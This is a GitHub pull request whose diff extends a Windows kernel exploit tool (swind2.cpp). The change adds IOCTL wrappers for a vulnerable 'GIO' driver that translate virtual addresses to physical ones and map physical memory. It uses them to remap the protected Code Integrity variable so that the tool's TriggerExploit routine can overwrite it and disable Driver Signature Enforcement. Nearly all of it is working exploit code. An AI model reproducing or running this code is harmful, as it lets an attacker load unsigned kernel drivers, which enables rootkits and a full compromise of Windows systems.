Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implement 1909 build 18363 DSE mitigation #2

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
105 changes: 105 additions & 0 deletions src/swind2.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,8 @@
#define GIO_DEVICE_NAME L"\\Device\\GIO"
#define FILE_DEVICE_GIO (0xc350)
#define IOCTL_GIO_MEMCPY CTL_CODE(FILE_DEVICE_GIO, 0xa02, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_GIO_GETPHYS CTL_CODE(FILE_DEVICE_GIO, 0xa03, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_GIO_MAPPHYS CTL_CODE(FILE_DEVICE_GIO, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)

// Input struct for IOCTL_GIO_MEMCPY
typedef struct _GIOMemcpyInput
Expand All @@ -20,6 +22,18 @@ typedef struct _GIOMemcpyInput
ULONG Size;
} GIOMemcpyInput, *PGIOMemcpyInput;

// Input struct for IOCTL_GIO_MAPPHYS
#pragma pack (push, 1)
typedef struct _GIO_MAPPHYS
{
DWORD InterfaceType;
DWORD Bus;
PVOID PhysicalAddress;
DWORD IoSpace;
DWORD Size;
} GIO_MAPPHYS, *PGIO_MAPPHYS;
#pragma pack (pop)

static WCHAR DriverServiceName[MAX_PATH], LoaderServiceName[MAX_PATH];

static
Expand Down Expand Up @@ -241,6 +255,85 @@ AnalyzeCi(
return Status;
}

static
PVOID
GetPhysForVirtual(_In_ HANDLE DeviceHandle, _In_ PVOID VirtualAddress)
{
NTSTATUS Status;
IO_STATUS_BLOCK IoStatusBlock;

PVOID Address = VirtualAddress;

Status = NtDeviceIoControlFile(DeviceHandle,
nullptr,
nullptr,
nullptr,
&IoStatusBlock,
IOCTL_GIO_GETPHYS,
&Address,
sizeof(Address),
&Address,
sizeof(Address));
if (!NT_SUCCESS(Status))
{
Printf(L"NtDeviceIoControlFile(IOCTL_GIO_GETPHYS) failed: error %08X\n", Status);
return NULL;
}

return (PVOID)((reinterpret_cast<LARGE_INTEGER*>(&Address))->LowPart);
}

static
PVOID
MapPhysicalForVirtual(_In_ HANDLE DeviceHandle, _In_ PVOID PhysicalAddress, _In_ DWORD Size)
{
NTSTATUS Status;
IO_STATUS_BLOCK IoStatusBlock;

GIO_MAPPHYS in = { 0 };
RtlZeroMemory(&in, sizeof(in));
in.InterfaceType = 0;
in.Bus = 0;
in.PhysicalAddress = PhysicalAddress;
in.IoSpace = 0;
in.Size = Size;

Status = NtDeviceIoControlFile(DeviceHandle,
nullptr,
nullptr,
nullptr,
&IoStatusBlock,
IOCTL_GIO_MAPPHYS,
&in,
sizeof(in),
&in,
sizeof(in));
if (!NT_SUCCESS(Status))
{
Printf(L"NtDeviceIoControlFile(IOCTL_GIO_MAPPHYS) failed: error %08X\n", Status);
return NULL;
}

return *reinterpret_cast<PVOID*>(&in);
}

static
NTSTATUS
MitigateCiProtectedContent(_In_ HANDLE DeviceHandle, _In_ PVOID* Address)
{
PVOID PhysicalAddress = GetPhysForVirtual(DeviceHandle, *Address);
if (!PhysicalAddress)
return STATUS_INVALID_ADDRESS;

PVOID MappedVirtualAddress = MapPhysicalForVirtual(DeviceHandle, PhysicalAddress, sizeof(DWORD));
if (!MappedVirtualAddress)
return STATUS_INSUFFICIENT_RESOURCES;

*Address = MappedVirtualAddress;

return STATUS_SUCCESS;
}

static int ConvertToNtPath(PWCHAR Dst, PWCHAR Src) // TODO: holy shit this is fucking horrible
{
wcscpy_s(Dst, sizeof(L"\\??\\") / sizeof(WCHAR), L"\\??\\");
Expand Down Expand Up @@ -420,6 +513,18 @@ TriggerExploit(
*OldCiOptionsValue = OldCiOptions;
}

if (NtCurrentPeb()->OSBuildNumber < 18363)
{
Printf(L"[Build:%d] g_CiProtectedContent mitigation enabled\n", NtCurrentPeb()->OSBuildNumber);

Status = MitigateCiProtectedContent(DeviceHandle, &CiVariableAddress);
if (!NT_SUCCESS(Status))
{
Printf(L"MitigateCiProtectedContent failed: error %08X\n", Status);
goto Exit;
}
}

// Set up memcpy input a second time, this time for writing
MemcpyInput.Dst = reinterpret_cast<ULONG_PTR>(CiVariableAddress);
MemcpyInput.Src = CiPatchSize == sizeof(ULONG)
Expand Down